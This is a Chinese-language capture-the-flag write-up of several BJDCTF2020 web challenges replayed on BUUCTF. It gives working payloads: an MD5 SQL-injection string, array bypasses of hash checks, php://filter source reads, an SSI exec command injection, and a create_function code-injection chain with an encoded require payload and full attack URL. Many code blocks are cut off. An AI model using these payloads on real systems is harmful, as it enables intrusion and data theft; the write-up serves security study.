由于不是本校学生,所以我在buuctf复现了一波
[BJDCTF2020]Easy MD5
第一关
抓包后看到返回包有提示,如下
传入password=ffifdyop
到达下一关
第二关
1 | $a = $GET['a']; |
传入a[]=1&b[]=2
绕过
第三关
1 |
|
post传入param1[]=1¶m2[]=2
得到flag
[BJDCTF2020]Mark loves cat
.git
源码泄漏,用工具Git_Extract
得到index.php
的核心代码如下
1 |
|
[BJDCTF2020]The mystery of ip
[BJDCTF2020]ZJCTF,不过如此
1 |
|
首先使用php://input
输入流和php://filter
过滤器进行读取
请求包
1 | POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1 |
返回包
1 | HTTP/1.1 200 OK |
base64解码后得到next.php
1 |
|
这里第8行,preg_replace
函数开启了e
模式,根据php官网对e模式的描述如下
1 | 如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义. |
虽然第二个参数没有可控的地方
[BJDCTF2020]EasySearch
扫描后发现存在index.php.swp
,如下
1 | <?php |
比较简单的ssi注入漏洞,没有任何过滤,直接打就好了,具体可以参考我的这篇文章ssi漏洞小结
爆破md5的脚本如下
1 | # -*- coding: utf-8 -*- |
Payload
1 | username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 "-->&password=000e6wc |
然后访问返回头Url_is_here
返回的链接即可得到flag
[BJDCTF2020]Cookie is so stable
[BJDCTF2020]EzPHP
在网页源代码发现注释<!-- GFXEIM3YFZYGQ4A= -->
,base32解码后得到1nD3x.php
,访问后得到源码
1 |
|
绕过
$_SERVER['QUERY_STRING']
是不会进行url解码的,所以我们只需要对过滤的内容进行url编码即可/^aqua_is_cute$/
的绕过,直接在后面加%0a
就可以绕过$_REQUEST
这儿需要满足参数的值不能有字母,因为之前接收的参数为$_GET
,所以我们只需要POST一些相同的参数,覆盖掉$_GET
的参数就行了,这是因为$_REQUEST
的解析是有一定顺序的,应该是先解析$_GET
,再解析$_POST
,这样我们就能绕过- sha1函数这里就是常规的数组绕过
- 最后
$code('', $arg);
这里可以用create_function
来执行,因为create_function
的自身缺陷,存在代码执行的绕过,所以我们可以绕过create_function
来进行任意代码执行。
因为这里include "flag.php";
,所以我们使用get_defined_vars()
来返回所有已定义变量,然后发现,真正的flag并不在这个页面上
这样的话我们需要用require
包含这个文件来读取,然后利用取反来构造,payload如下:
1 | require(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)) |
但是一直读取不到,后来网上搜了资料发现可以用require+伪协议读取,payload如下
1 | requrie(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F |
发现buu这里会删除flag,只能直接读取文件
完整的http构造如下:
1 | http://75a89160-5c3f-490e-b233-1dcf279fbbe8.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=1;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F |